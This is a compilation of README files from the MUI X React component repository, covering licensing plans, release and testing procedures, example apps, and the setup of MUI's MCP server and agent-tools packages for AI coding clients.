# Technical Documentation: mui/mui-x

> ℹ️ **Provenance:** Multi-Tier Ingestion · [CodeWiki Reference](https://codewiki.google/github.com/mui/mui-x)

### Overview (`README.md`)

<p align="center">
  <a href="https://mui.com/x/" target="_blank"><img width="150" height="133" src="https://mui.com/static/logo.svg" alt="MUI X logo"></a>
</p>

<h1 align="center">MUI X</h1>

<div align="center">

[](https://github.com/mui/mui-x/blob/HEAD/LICENSE)
[](https://www.npmjs.com/package/@mui/x-data-grid)
[](https://www.npmjs.com/package/@mui/x-data-grid)
[](https://github.com/mui/mui-x/commits/HEAD/)
[](https://codecov.io/gh/mui/mui-x/)
[](https://x.com/MUI_X_)
[](https://github.com/mui/mui-x/issues/2081)
[](https://isitmaintained.com/project/mui/mui-x 'Average time to resolve an issue')
[](https://opencollective.com/mui-org)
[](https://www.bestpractices.dev/projects/6293)

</div>

[MUI X](https://mui.com/x/) is a suite of advanced React UI components for a wide range of complex use cases.
Each component provides best-in-class UX and DX, with sophisticated UX workflows for data-rich applications.
Components include the Data Grid, Date and Time Pickers, Charts, and Tree View.

MUI X extends the core functionality of [Material UI](https://github.com/mui/material-ui/), but the advanced components also stand on their own and can be fully customized to meet the needs of any design system.

MUI X is **open-core**: [Community](#community-plan) components are MIT-licensed and free forever, while more advanced features and components require a [Pro](#pro-plan) or [Premium](#premium-plan) commercial license.
See [Licensing](#licensing) for more information.

## Documentation

Get started in the [MUI X documentation](https://mui.com/x/introduction/).

- [Data Grid](https://mui.com/x/react-data-grid/)
- [Date and Time Pickers](https://mui.com/x/react-date-pickers/)
- [Charts](https://mui.com/x/react-charts/)
- [Tree View](https://mui.com/x/react-tree-view/)

### Installation

- [Data Grid installation](https://mui.com/x/react-data-grid/quickstart/#installation)
- [Date and Time Pickers installation](https://mui.com/x/react-date-pickers/quickstart/#installation)
- [Charts installation](https://mui.com/x/react-charts/quickstart/#installation)
- [Tree View installation](https://mui.com/x/react-tree-view/quickstart/#installation)

## Licensing

The MUI X team has been building MIT-licensed React components since 2014, starting with Material UI, and we're committed to the continued advancement of our open-source libraries.
Anything we release under an MIT license will remain MIT-licensed forever.
Learn more about [our stewardship ethos](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd).

We offer commercial licenses to developers who need the most advanced components and features that can't reasonably be maintained by the open-source community alone.
These licenses make it possible for us to support a full-time staff of engineers.

Rest assured that when we release features commercially, it's only because we believe you won't find a better MIT-licensed alternative anywhere else.

See the [Licensing page](https://mui.com/x/introduction/licensing/) for complete details.

### Plans

#### Community plan

The free Community version of MUI X contains components and features that we believe are maintainable by contributions from the open-source community.
It's published under an [MIT license](https://www.tldrlegal.com/license/mit-license) and it's [free forever](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd#20f609acab4441cf9346614119fbbac1).

- [`@mui/x-data-grid`](https://www.npmjs.com/package/@mui/x-data-grid)
- [`@mui/x-date-pickers`](https://www.npmjs.com/package/@mui/x-date-pickers)
- [`@mui/x-charts`](https://www.npmjs.com/package/@mui/x-charts)
- [`@mui/x-tree-view`](https://www.npmjs.com/package/@mui/x-tree-view)
- [`@mui/x-scheduler`](https://www.npmjs.com/package/@mui/x-scheduler)

#### Pro plan

MUI X Pro expands on the Community version with more advanced features and functionality.
The Data Grid Pro comes with multi-filtering, multi-sorting, column resizing, and column pinning; you also gain access to the Date and Time Range Picker components, advanced Charts, and drag-and-drop reordering for the Tree View.

The Pro version is available under a commercial license—visit the [Pricing page](https://mui.com/pricing/) for details.

- [`@mui/x-data-grid-pro`](https://www.npmjs.com/package/@mui/x-data-grid-pro)
- [`@mui/x-date-pickers-pro`](https://www.npmjs.com/package/@mui/x-date-pickers-pro)
- [`@mui/x-charts-pro`](https://www.npmjs.com/package/@mui/x-charts-pro)
- [`@mui/x-tree-view-pro`](https://www.npmjs.com/package/@mui/x-tree-view-pro)

#### Premium plan

MUI X Premium unlocks the most advanced features of the Data Grid, including row grouping and Excel exporting, as well as everything offered in the Pro plan.

The Premium version is available under a commercial license—visit the [Pricing page](https://mui.com/pricing/) for details.

- [`@mui/x-data-grid-premium`](https://www.npmjs.com/package/@mui/x-data-grid-premium)
- [`@mui/x-charts-premium`](https://www.npmjs.com/package/@mui/x-charts-premium)
- [`@mui/x-scheduler-premium`](https://www.npmjs.com/package/@mui/x-scheduler-premium)

## Support

From community guidance to critical business support, we're here to help.
Read the [Support guide](https://mui.com/x/introduction/support/) for details.

## Contributing

Read the [Contributing guide](/CONTRIBUTING.md) to learn about our development process, how to propose bug fixes and improvements, and how to build and test your changes.

Contributing to MUI X is about more than just issues and pull requests!
There are many other ways to [support MUI X](https://mui.com/material-ui/getting-started/faq/#mui-is-an-awesome-organization-how-can-i-support-it) beyond contributing to the code base.

## Changelog

The [changelog](https://github.com/mui/mui-x/releases) is regularly updated to reflect what's changed in each new release.

## Roadmap

Future plans and high-priority features and enhancements can be found in the [roadmap](https://mui.com/x/introduction/roadmap/).

## Security

For details on supported versions and contact information for reporting security issues, please refer to the [security policy](https://github.com/mui/mui-x/security/policy).

---

### Overview (`docs/README.md`)

# MUI X docs

This is the documentation website of MUI X.

To start the docs site in development mode, from the project root, run:

```bash
pnpm i && pnpm docs:dev
```

If you do not have pnpm installed, follow the instructions on the [pnpm website](https://pnpm.io/installation).



_DO NOT USE NPM, use pnpm to install the dependencies._



## How can I add a new demo to the documentation?

[You can follow this guide](https://github.com/mui/material-ui/blob/HEAD/CONTRIBUTING.md)
on how to get started contributing to MUI.

---

### Overview (`docsTech/README.md`)

# Tech Doc

Welcome to the documentation for contributors. If you want to use Data Grid components for your project, the [documentation for developers](https://mui.com/x/react-data-grid/) is more appropriate.
Here we discuss how the code is structured to simplify codebase navigation and onboard new contributors.

## Where is the code?

In folder `packages` you will find one subfolder per exported package (`@mui/x-data-grid`, `@mui/x-data-grid-pro`, ...)

Since `@mui/x-data-grid-pro` is an extension of `@mui/x-data-grid`, it imports all the common features from `@mui/x-data-grid` and the internal logic are imported from `@mui/x-data-grid/internals` which is defined in `x-data-grid/src/internals/index.ts`. And `@mui/x-data-grid-premium` is a further extension of `@mui/x-data-grid-pro`, it imports all the common features from both `@mui/x-data-grid` and `@mui/x-data-grid-pro` and adds some new features on top of that.

In each package, the most used folders are:

- `components` which contains all the React components. These files are responsible for displaying the Data Grid and listening for user interactions.
- `hooks` which contains all the logic of the DataGrid.
  - `hooks/core` defines logics for developers: initialization of the grid, error handling, translations, ...
  - `hooks/utils` defines logics for contributors: manipulating the state, managing events, ...
  - `hooks/features` defines logics for end-users: selection, filtering, editing, ...
- `DataGrid[Pro|Premium]/useDataGrid[Pro|Premium]Component.tsx` is the file in which all the hooks are added to the grid
- `colDef` contains the default values for each [column type](https://mui.com/x/react-data-grid/column-definition/#column-types): rendering cell, filter operators, sorting method, ...
- `models` define the TypeScript interfaces of the grid

## How does it work?




### Accessing state

The react components can [access the state](https://mui.com/x/react-data-grid/state/#access-the-state) with either selectors or getter methods.
Here is an example.

```js
const apiRef = useGridApiContext();
// or
const filterModel = useGridSelector(apiRef, gridFilterModelSelector);
const row = apiRef.current.getRow(id);
```

### Updating state

To update the state, the component can either call a setter or publish an event. Here are examples with updating cell editing by setter, and handling cell key down by dispatching `"cellKeyDown"` event.

```js
apiRef.current.setEditCellValue(newParams, event);
// or
apiRef.current.publishEvent('cellKeyDown', params, event as any);
```

An event can be consumed by multiple listeners.
For example, `"cellKeyDown"` is listened by the focus, edit, selection, and navigation feature hooks.
Each of them defines an event handler responsible for modifying their sub-state.

```js
useGridEvent(apiRef, 'cellKeyDown', handleCellKeyDown);
```

The other interest of events is that developers can listen to them by [subscribing to the event](https://mui.com/x/react-data-grid/events/#subscribing-to-events) or by providing a `on<Event>` prop such as `onEditCellPropsChange`.
Notice that all the events do not have an associated prop `on<Event>`

## Specific features

Here you will find more precision about how some features are designed.

- [filtering](./filtering.md)
- [virtualization](./virtualization.md)
- [processing](./processing.md)
- [formulas](./data-grid-formula-feature.md)
- print (TODO)

---

### Overview (`scripts/README.md`)

# Scripts

## Release

> Tip: You can copy raw markdown checklist below to the release Pull Request and follow it step by step marking completed items.

> Tip: You can also run or assist any stage of the release with an LLM agent through the `mui-release` skill (installed at `.agents/skills/mui-release`) — for example, type `/mui-release` in Claude Code. The agent treats this README as the source of truth.

A typical release goes like this:

### Prepare the release of the packages

> [!INFO]
> You can now use the new automated release preparation script by running `pnpm release:prepare`. This script automates steps 1-5 below by:
>
> - Asking for the major version to update (v8.x, v7.x, v6.x, etc.)
> - Determining the new version based on the selected major version:
>   - For non-latest major versions: patch/minor/custom
>   - For latest major version: patch/minor/major/custom and prerelease options:
>     - Start alpha prerelease (if no prerelease exists)
>     - Increase alpha version or start beta (if alpha exists)
>     - Increase beta version or go to major (if beta exists)
> - Creating a new branch from upstream/master (for latest major) or upstream/vX.x (for older versions)
> - Updating the root package.json and all product package versions
> - Generating and formatting the changelog
> - Creating a PR with all changes and a complete checklist
>
> This script is fully interactive and will guide you through the release process.

The following steps must be proposed as a pull request.

1. Compare the last tag with the branch upon which you want to release (`next` for the alpha / beta releases and `master` for the current stable version).
   To do so, use `pnpm release:changelog` The options are the following:

```bash
pnpm release:changelog
   --githubToken   YOUR_GITHUB_TOKEN (needs "public_repo" permission)
   --lastRelease   The release to compare against (default: the last one)
   --release       The branch to release (default: master)
   --nextVersion   Expected version of the next release (if not provided, __VERSION__ placeholders must be updated manually)
```

> :warning: the script will add a separator string in form of a comment like this right after the highlights:
> ``
> This string needs to stay where it gets inserted for the automated discord announcement to work.

You can also provide the GitHub token by setting `process.env.GITHUB_TOKEN` variable.

In case of a problem, another method to generate the changelog is available at the end of this page.

2. Clean the generated changelog, to match the format of [https://github.com/mui/mui-x/releases](https://github.com/mui/mui-x/releases).
3. Update the root `package.json`'s version
4. Update the versions of the other `package.json` files and of the dependencies with `pnpm release:version` (`pnpm release:version prerelease` for alpha / beta releases).

> [!WARNING]
> Make sure of the following when versioning the packages with `release:version`:
>
> - Do not skip the version bump if Lerna detects a change in the package. It is important to release the package if there are **any** changes to it.
> - If Lerna doesn't suggest a version bump for the package, don't release it.
> - When releasing a package, make sure to sync the version of the package with the version of the root `package.json` file.

5. Open PR with changes and wait for review and green CI.
6. Once CI is green and you have enough approvals, send a message on the `team-x` slack channel announcing a merge freeze.
7. Merge PR.

### Release the packages

> [!WARNING]
> If one of the packages hasn't been published before, a team member with admin role must do the initial publish with `pnpm code-infra publish-new-package`. It publishes from your machine, so it requires being signed in to npm locally with two-factor authentication (pass the code via `--otp`). To find team member, use the command:
>
> ```bash
> npm team ls mui:MUI-X
> npm org ls mui
> ```
>
> Cross-reference both lists to find a team member with admin rights.
>
> After publishing you'll have to setup the access parameters for [trusted publishing](http://docs.npmjs.com/trusted-publishers#configuring-trusted-publishing). You can find > them under `https://www.npmjs.com/package/<pkg>/access`. Use the following values:
>
> - **Publisher:** GitHub actions
> - **Organization or user:** mui
> - **Repository:** mui-x
> - **Workflow filename:** publish.yml
> - **Environment name:** npm-publish
>
> and click _Set up connection_

1. Run `pnpm release:publish`. You may be asked to authenticate with GitHub when running the command for the first time or after a very long time.
2. It'll automatically fetch the latest merged release PR and ask for confirmation before publishing. The pre-selected commit in the interactive picker may not be the release commit — make sure to pick the `[release] vX.Y.Z` entry for the version being released instead of accepting the default.
3. If you already know the sha of the commit, you can pass it directly like `pnpm release:publish --sha <your-sha>`.
4. Other flags for the command:

   > - **--dry-run** Used for debugging. Or directly run `pnpm release:publish:dry-run`. Note that this still triggers a real workflow run that requires the `npm-publish` deployment approval.
   > - **--tag** Use to publish legacy or canary versions. For legacy releases, the commit picker won't find the release commit (it only looks at the latest release PR), so pass the sha explicitly: `pnpm release:publish --sha <legacy-merge-sha> --tag <legacy-dist-tag>`.

5. This command invokes the [Publish](https://github.com/mui/mui-x/actions/workflows/publish.yml) GitHub action. It'll log the URL which can be opened to see the latest workflow run.
6. The next screen shows "@username requested your review to deploy to npm-publish", click "Review deployments" and authorize your workflow run. **Never approve workflow runs you didn't initiate.**

Alternatively, you can run the workflow from the GitHub UI:

1. Go to the [publish action](https://github.com/mui/mui-x/actions/workflows/publish.yml).
2. Choose "Run workflow" dropdown

   > - **Branch:** master
   > - **Commit SHA to release from:** the commit that contains the merged release on master. This commit is linked to the GitHub release.
   > - **Run in dry-run mode:** Used for debugging.
   > - **Create GitHub release:** Keep selected if you want a GitHub release to be automatically created from the changelog.
   > - **npm dist tag to publish to** Use to publish legacy or canary versions.

3. Click "Run workflow"
4. Refresh the page to see the newly created workflow, and click it, then approve the deployment as above.

The action publishes packages, then creates and pushes the release tag, and finally creates the GitHub release in draft mode.

> [!WARNING]
> If the workflow fails to create the tag, you can create and push it manually: `git tag -a v4.0.0-alpha.30 -m "Version 4.0.0-alpha.30" && git push upstream --tag`.
> Make sure to copy the git tag command above so that the tag is annotated!

### Publish the documentation

The documentation must be updated on the `docs-vX` branch (`docs-v4` for `v4.X` releases, `docs-v5` for `v5.X` releases, ...)

Push the working branch on the documentation release branch to deploy the documentation with the latest changes.

```bash
pnpm docs:deploy
```





You can follow the deployment process [on the Netlify Dashboard](https://app.netlify.com/sites/material-ui-x/deploys?filter=docs-v9)
Once deployed, it will be accessible at https://material-ui-x.netlify.app/ for the `docs-v9` deployment.

### Publish GitHub release

After the documentation deployment is done, review and then publish the release that was created in draft mode during the release step [GitHub releases page](https://github.com/mui/mui-x/releases)

### Announce

Follow the instructions in https://mui-org.notion.site/Releases-7490ef9581b4447ebdbf86b13164272d.

## A script failed, what can I do?

### Manual changelog generation

Compare the last tag with the branch upon which you want to release (`next` for the alpha / beta releases and `master` for the current stable version).

For instance: [https://github.com/mui/mui-x/compare/v4.0.0-alpha.9...master](https://github.com/mui/mui-x/compare/v4.0.0-alpha.9...master) (if you want to release `master` and the last tag is `v4.0.0-alpha.9`)
You can use the following script in your browser console on any GitHub page to automatically navigate to the page comparing `master` with the last tag.

```js
(async () => {
  const releaseBranch = 'master';
  const tagResponse = await fetch('https://api.github.com/repos/mui/mui-x/tags?per_page=1');
  const tagData = await tagResponse.json();
  const lastTag = tagData[0].name;
  const diffPage = `https://github.com/mui/mui-x/compare/${lastTag}...${releaseBranch}`;
  window.location.href = diffPage;
})();
```

---

### Overview (`test/README.md`)

# Testing

## Overview

There are multiple types of tests to assert different parts of the codebase:

- **Unit tests**: These tests are run in the browser (`test_browser` CI step) and jsdom (`test_unit` CI step) environments. They are used to test individual components and functions in isolation.
- **Regression tests**: These tests (`test_regressions` CI step) are run in a Chromium browser using Playwright. They are used to ensure visual integrity of documentation demo examples.
- **E2E tests**: This set of custom tests (`test_e2e` CI step) is run in Chromium, Firefox and WebKit browsers using Playwright. They are used to test certain component behaviors, which require a real browser environment.
- **E2E website tests**: These tests (`test_e2e_website` CI step) are documentation smoke tests. They are used to test the MUI X website, ensuring that the website is functioning correctly and that the documentation examples are working as expected.

We use [Vitest](https://vitest.dev/) for unit tests in both the browser and jsdom environments.
We use [Playwright](https://playwright.dev/) for for tests that run in a browser environment.

## Unit tests

### How to run

Some simple examples on how to run the tests.

#### Filter by project

```bash
### starting with `x-charts`
pnpm test:unit --project "x-charts*"

### exactly `x-data-grid`
pnpm test:unit --project "x-data-grid"

### ending with `-pro`
pnpm test:unit --project "*-pro"
```

#### Filter by path

```bash
### any file that has BarChart in its path
pnpm test:browser BarChart

# FILTER BY TEST NAME (generally slow)

### any test that hast "hide tooltip" in its name
pnpm test:browser -t "hide tooltip"
```

#### Combine the above

```bash
### only run files that contain the pattern inside a specific project
pnpm test:browser --project "x-charts" BarChart

### only run tests which names contain the pattern inside a specific project
pnpm test:browser --project "x-charts" -t "hide tooltip"
```

#### Using test.only

Vitest's `test.only` behavior is different from Mocha's. That's because Vitest parallelizes tests and can't know whether `test.only` is used in another file. This behavior is the same as [Jest's](https://github.com/jestjs/jest/issues/4414).

The way to make the test run only a test specified with a `.only` modifier is to use the file filter and run only the file that contains the test.

```tsx
// src/x-charts/test/BarChart.test.tsx
it.only('should show the tooltip', () => {
  // ...
});
```

```bash
pnpm test:browser BarChart
```

This will run only the test that has `it.only` in it and will ignore all other tests in the file.

## Regression tests

These tests parse the documentation demo examples and run them in a browser environment to ensure that the visual output matches the expected output.

Browser renders each demo example, takes a screenshot of the rendered output, and pushes it to Argos, a visual regression testing service.

Argos compares the screenshots with the baseline image and reports any visual differences.

### How to run

You can run the regression tests locally by running the following command:

```bash
pnpm test:regressions:dev
```

> [!IMPORTANT]
> Ensure that you have the packages built before running the regression tests.
>
> If you are trying to fix a test only in one package, you can rebuild only that package before rerunning the tests.

### Browsing the regression tests suite

If you want to have the option to freely browse the regression tests suite and analyze the results, you can run the following command:

```bash
pnpm --filter @mui-x-internal/test-regressions run dev
```

or

```bash
// move to the the test-regressions package
cd test/regressions
// then run the dev script
pnpm run dev
```

After the command is executed, you can open the browser and go to `http://localhost:5001/#dev` to see the regression tests suite.

## Running tests against specific React of Material UI versions

### Testing multiple versions of React

You can check integration of different versions of React (for example different [release channels](https://react.dev/community/versioning-policy) or PRs to React) by running the following command:

`pnpm exec code-infra set-version-overrides --pkg react@<version>`

Possible values for `version`:

- an npm tag, for example `next`, `experimental` or `latest`
- an older version, for example `18`

For React 18 specifically, you can run the `pnpm use-react-18` script.

### Testing multiple versions of Material UI

Currently, we use `@mui/material` v5 in the MUI X repo and all tests are run against it.
But MUI X packages are compatible with v5 and v6.
You can run the tests against `@mui/material` v6 by running the following command:

`pnpm use-material-ui-v6`

### CI

To execute additional jobs for custom versions of React/Material UI, you can use an `additional` workflow. In combination with `with-react-version` and/or `with-material-ui-6` parameters, it executes those jobs with dependency versions different from the main `pipeline` workflow.

| Parameter type | Name                 | Value                |
| :------------- | :------------------- | :------------------- |
| `string`       | `workflow`           | `additional`         |
| `string`       | `with-react-version` | `<VERSION_OF_REACT>` |
| `boolean`      | `with-material-ui-6` | `true` or `false`    |

1. Go to https://app.circleci.com/pipelines/github/mui/mui-x?branch=pull/PR_NUMBER and replace `PR_NUMBER` with the PR number you want to test.
2. Click `Trigger Pipeline` button.
3. Go to the `Parameters` section and update the `workflow` parameter in combination with the version parameter(s).
   You can leave the rest of the parameters with their default values.
4. Click `Trigger Pipeline` button.



#### API

You can pass the same to our CircleCI pipeline through API as well:

With the following API request we're triggering a run of the `additional` workflow in
PR #24289 for `react@rc` and `@mui/material-ui@6`

```bash
curl --request POST \
  --url https://circleci.com/api/v2/project/gh/mui/mui-x/pipeline \
  --header 'content-type: application/json' \
  --header 'Circle-Token: $CIRCLE_TOKEN' \
  --data-raw '{"branch":"pull/24289/head","parameters":{"workflow":"additional","with-react-version":"rc","with-material-ui-6":true}}'
```

---

### Overview (`examples/aggregation-row-grouping/README.md`)

# MUI X Data Grid Premium - Aggregation and Row Grouping

A client-side React app demonstrating aggregation and row grouping with the MUI X Data Grid Premium.

For a step-by-step guide, see the [Aggregation and row grouping tutorial](https://mui.com/x/react-data-grid/tutorials/aggregation-row-grouping/) in the docs.

## Setup

```bash
pnpm install
```

## Run

```bash
pnpm dev
```

App runs on `http://localhost:5173`.

---

### Overview (`examples/server-side-data/README.md`)

# MUI X Data Grid Pro with Data Source layer

A full-stack application demonstrating server-side data handling with the MUI X Data Grid, featuring pagination, sorting, and filtering capabilities.
This app is the end result of following the [server-side data tutorial](https://mui.com/x/react-data-grid/tutorials/server-side-data/) in the MUI X docs.

## Installation and setup

### 1. Install server dependencies

```bash
cd server &&
pnpm install
```

### 2. Install client dependencies

```bash
cd client &&
pnpm install
```

## Running the application

### 1. Start the backend server

```bash
cd server &&
pnpm dev
```

The server runs on `http://localhost:3001`.

### 2. Start the frontend client

In a new terminal:

```bash
cd client &&
pnpm dev
```

The client runs on `http://localhost:5173`.

---

### Overview (`packages/mcp/README.md`)

# `@mui/mcp`

MUI's [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) server. Exposes MUI documentation and code-generation tools to any MCP-capable AI client (Claude Code, Cursor, Zed, Continue, etc.) so an agent can answer MUI questions with real, up-to-date docs and generate React + Material UI code.

## What it exposes

Three stdio-based tools, backed by [@mui/x-agent-tools](../x-agent-tools/):

- `useMuiDocs(sources)` : returns the docs catalog (URLs + summaries) for one or more MUI packages (for example `@mui/material`, `@mui/x-data-grid`). Each source is an llms.txt URL or a bare package name. Agents typically use this first to find the right docs page.
- `fetchDocs(urls)` : fetches the full content of one or more docs URLs (typically taken from a `useMuiDocs` response).
- `generateReactCode({ prompt, threadId?, designContext?, muiPairing?, model? })` : generates React + Material UI code from a natural-language prompt (optionally grounded in a Figma frame). Returns the generated files plus a short explanation. Requires `MUI_RECIPES_API_KEY`. Pass `threadId` back on subsequent calls to keep multi-turn conversations on the same chat. Pass `muiPairing` to target a specific MUI / MUI X major (see [Targeting a MUI version](#targeting-a-mui-version)).

## Quick start

```bash
pnpm install                          # once, from repo root
pnpm --filter @mui/mcp build:local    # builds @mui/x-agent-tools first, then @mui/mcp -> build/stdio.js
```

Smoke test:

```bash
echo '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"0.1"}}}' \
  | node packages/mcp/build/stdio.js
```

Expected: `serverInfo: { name: "mui-mcp", version: "0.x.0" }` and the supported `capabilities`.

## Connecting an MCP client

**Available env vars** (all set via your client's config below):

- `MUI_DOCS_BASE_URL` (optional, default `https://chat-backend.mui.com`): docs-catalog API base URL. Override when developing against a local backend.
- `MUI_RECIPES_API_KEY` (required for `generateReactCode`): API key created at console.mui.com/products/recipes/api-keys. The server exchanges it for a short-lived JWT on the first call and caches the JWT in memory. The docs tools above keep working without it; only codegen requires it.
- `MUI_BACKEND_BASE_URL` (optional, default `https://api.mui.com`): mui-backend base URL (where API-key → JWT exchange happens). Override for local dev, typically `http://localhost:5002`.
- `MUI_RECIPES_BACKEND_BASE_URL` (optional, default `https://chat-backend.mui.com`): recipes-backend base URL (where codegen runs). Override for local dev, typically `http://localhost:5003`.

### Claude Code CLI (simplest)

```bash
claude mcp add mui-local \
  -e MUI_RECIPES_API_KEY=recipes_cli_... \
  -e MUI_BACKEND_BASE_URL=http://localhost:5002 \
  -e MUI_RECIPES_BACKEND_BASE_URL=http://localhost:5003 \
  -e MUI_DOCS_BASE_URL=http://localhost:5003 \
  -- node /absolute/path/to/mui-x/packages/mcp/build/stdio.js
```

Drop any `-e` line you don't need (codegen is the only tool that requires an API key). The `--` separator is required when passing env vars. Verify with `claude mcp list`; remove with `claude mcp remove mui-local`. Writes to your personal `~/.claude.json`, never to the repo's shared `.mcp.json`.

Test prompts:

- Docs lookup:
  > Use `useMuiDocs` to look up the docs catalog for `@mui/material`. Then fetch the most relevant URL and summarize the `Button` component API.
- Codegen (requires `MUI_RECIPES_API_KEY`):
  > Use `generateReactCode` to build a Tomato product card with image, title, price, and an Add-to-cart button.

### Claude Desktop / Cursor / other JSON-config clients

Edit the client's config file (`~/Library/Application Support/Claude/claude_desktop_config.json` for Claude Desktop, `~/.cursor/mcp.json` for Cursor, etc.):

```json
{
  "mcpServers": {
    "mui-local": {
      "command": "node",
      "args": ["/absolute/path/to/mui-x/packages/mcp/build/stdio.js"],
      "env": {
        "MUI_RECIPES_API_KEY": "recipes_cli_...",
        "MUI_BACKEND_BASE_URL": "http://localhost:5002",
        "MUI_RECIPES_BACKEND_BASE_URL": "http://localhost:5003",
        "MUI_DOCS_BASE_URL": "http://localhost:5003"
      }
    }
  }
}
```

Drop any `env` key you don't need (only codegen requires `MUI_RECIPES_API_KEY`). Restart the client.

### MCP Inspector (debug, no client setup needed)

```bash
pnpm --filter @mui/mcp mcp-inspector
```

Builds the server, then opens a web UI to call tools and inspect responses in isolation.

## Targeting a MUI version

`generateReactCode` accepts a `muiPairing` field to target a specific MUI / MUI X major. The shape mirrors the version picker on recipes.mui.com:

```ts
muiPairing: {
  material: 'v5' | 'v6' | 'v7' | 'v9',     // Material UI core; v8 was skipped
  muiX: 'v5' | 'v6' | 'v7' | 'v8' | 'v9'   // MUI X products (DataGrid, DatePickers, etc.)
}
```

**Default when omitted**: latest stable pairing (`{ material: 'v9', muiX: 'v9' }` today). Generation stays current with whatever the backend treats as latest.

**Agents should detect and pass** `muiPairing` **for projects pinned to older majors.** Read the project's `package.json`, look at `@mui/material` and `@mui/x-data-grid` ranges, and forward the matching pair. A project pinned to `@mui/material ^7.x` + `@mui/x-data-grid ^8.x` should send `{ material: 'v7', muiX: 'v8' }`. Without this, the agent will silently get v9 code on a v7 codebase.

Example MCP client prompt the host can ship as a guideline:

> Before calling `generateReactCode`, read `package.json` and look up `@mui/material` and `@mui/x-data-grid` (or `@mui/x-data-grid-premium` / `@mui/x-date-pickers`). Pass the detected majors as `muiPairing`. Omit it only if no MUI dependencies are present.

### Response footer

Every successful call returns the **effective pairing** on the result (and in the rendered text footer), even when the caller omitted `muiPairing`. Use this to confirm what the backend actually applied:

```text
threadId: `chat-abc123` (pass on follow-up calls to continue this conversation).
muiPairing: `v7` + `v8` (effective targeting)
```

- Caller provided a pairing → echoes it back.
- Caller omitted on a follow-up → returns the thread's locked pairing.
- Caller omitted on a new thread → returns the resolver's default (currently `v9` + `v9`).

## Tips for best results

### Boost agent tool selection in your project

When prompts don't explicitly name `generateReactCode`, hosts like Claude Code Agent (WebStorm/Cursor) sometimes pick built-in file-edit tools instead of the MCP, even on prompts that are clearly about Material UI. To nudge selection in your project, drop the following into your repo's `CLAUDE.md` (or your host's equivalent project-config file):

```markdown
## Generating Material UI components

When the user asks to create, scaffold, or implement a Material UI / MUI component or page, prefer the `generateReactCode` MCP tool over writing the component from scratch with `Edit` / `Write`. It stays current with MUI v7 idioms (Grid not Grid2, current MUI X DataGrid props) and grounds in Figma context when available.

Before calling `generateReactCode`, read `package.json` to detect the project's MUI majors (`@mui/material`, `@mui/x-data-grid`) and pass them as `muiPairing` so the generated code matches the installed versions.
```

This compounds with the tool's prescriptive description: the per-project hint reaches the agent in places the global description doesn't.

### What the agent will do with the output

Across the MCP-host UIs we've tested (Claude Code Agent in WebStorm), the host agent treats `generateReactCode`'s output as a structured suggestion rather than a verbatim file dump. Expect:

- `App.tsx` **is usually discarded or replaced.** The MCP emits an entry-file wrapper alongside the component. Host agents drop it when the project already has a host shell (Next.js page, Vite `main.tsx`, Storybook story, etc.).
- **Component filenames get renamed to match project conventions.** `components/ContactForm.tsx` may become `contact-form.tsx`; PascalCase may become kebab-case. The `filename` we emit is advisory.
- **Component bodies stay intact.** When the agent does adapt, it adjusts wrappers and paths, not the React code itself.
- **Stack-mismatch warnings surface before writing.** On non-MUI projects (Radix, Tailwind-only, etc.) the agent typically asks before writing MUI-importing code, or surfaces a caveat. This is correct, conservative behavior.

If you're building an integration around `generateReactCode`, design for "the agent will adapt the shell, keep the body" rather than "write all returned files verbatim."

## Development

This package is a thin adapter that registers MUI's agent tools over the MCP protocol. The tool logic and shared infrastructure (auth, logging, retry, caching) live in [@mui/x-agent-tools](../x-agent-tools/); this package only maps them onto MCP handlers.

Dev loop: edit `src/`, rebuild, restart your MCP client (Inspector reloads automatically). `build:local`
also rebuilds `@mui/x-agent-tools` when you change it (skipped when unchanged).

```bash
pnpm --filter @mui/mcp build:local
```

Source layout:

```text
packages/mcp/
├── src/
│   ├── stdio.ts            # entry: builds the server and registers the tools
│   ├── version.ts          # reads the package version (works in the flat published layout)
│   ├── docs/
│   │   ├── handler.ts      # adapts the docs tools to MCP handlers
│   │   └── register.ts     # builds + registers useMuiDocs / fetchDocs
│   └── codegen/
│       ├── handler.ts      # adapts generateReactCode to an MCP handler
│       ├── progress.ts     # forwards codegen progress as MCP notifications
│       └── register.ts     # builds + registers generateReactCode
├── build/                  # code-infra build output, gitignored; build/stdio.js is what clients spawn
├── package.json
└── tsconfig.json
```

Built with the standard `code-infra` toolchain. The docs/codegen logic lives in [@mui/x-agent-tools](../x-agent-tools/), a published dependency that pnpm links from its `build/` output, so it must be built first: the `build:local` script (`pnpm --filter @mui/mcp build:local`, which expands to `pnpm --filter "@mui/mcp..." build`) handles that.

## Publishing

Published to npm as [@mui/mcp](https://www.npmjs.com/package/@mui/mcp). End users consume it via `npx` (no local build), pointing at the published version:

```json
{ "mcpServers": { "mui": { "command": "npx", "args": ["-y", "@mui/mcp"] } } }
```

## Troubleshooting

- **Client doesn't see the server.** Verify the path in your client's config is absolute and points at the actual built file. Restart the client after editing config.
- `MUI_DOCS_BASE_URL` **errors.** Default backend may be cold-starting (Render free tier). Wait a few seconds and retry, or point at a local backend via env var.
- `Missing API key` **from** `generateReactCode`**.** Set `MUI_RECIPES_API_KEY` in your client's env. Create a key at console.mui.com/products/recipes/api-keys.
- `Token exchange failed` **/ 401 on codegen.** Check `MUI_BACKEND_BASE_URL`. Default is `https://api.mui.com`; for local mui-backend, set it to `http://localhost:5002`. A 401 also means the API key was revoked: create a new one.
- `Generation stream ended unexpectedly` **on codegen.** The recipes-backend SSE was truncated mid-stream (transient proxy hangup, backend restart, etc.). Retry.

---

### Overview (`packages/x-agent-tools/README.md`)

# `@mui/x-agent-tools`

The building blocks behind MUI's AI agent integrations. It implements the MUI documentation and code-generation tools that host packages expose to AI clients, plus the shared infrastructure they run on: JWT auth, SSRF-guarded fetching, caching, retry, and logging.

This is a library used by host packages such as [@mui/mcp](../mcp/), not something end users install directly.

`zod` is a peer dependency: a host that installs `@mui/x-agent-tools` must also install `zod`, so the tool schemas share a single zod instance across the boundary.

## What's inside

- **Composition layer**: `resolveAgentToolsConfig` reads the backend config from env vars, and `createMuiAgentToolset` assembles the full toolset (SSRF guard, catalog retry, fail-soft, shared cache/queue baked in). The recommended entry point for a host.
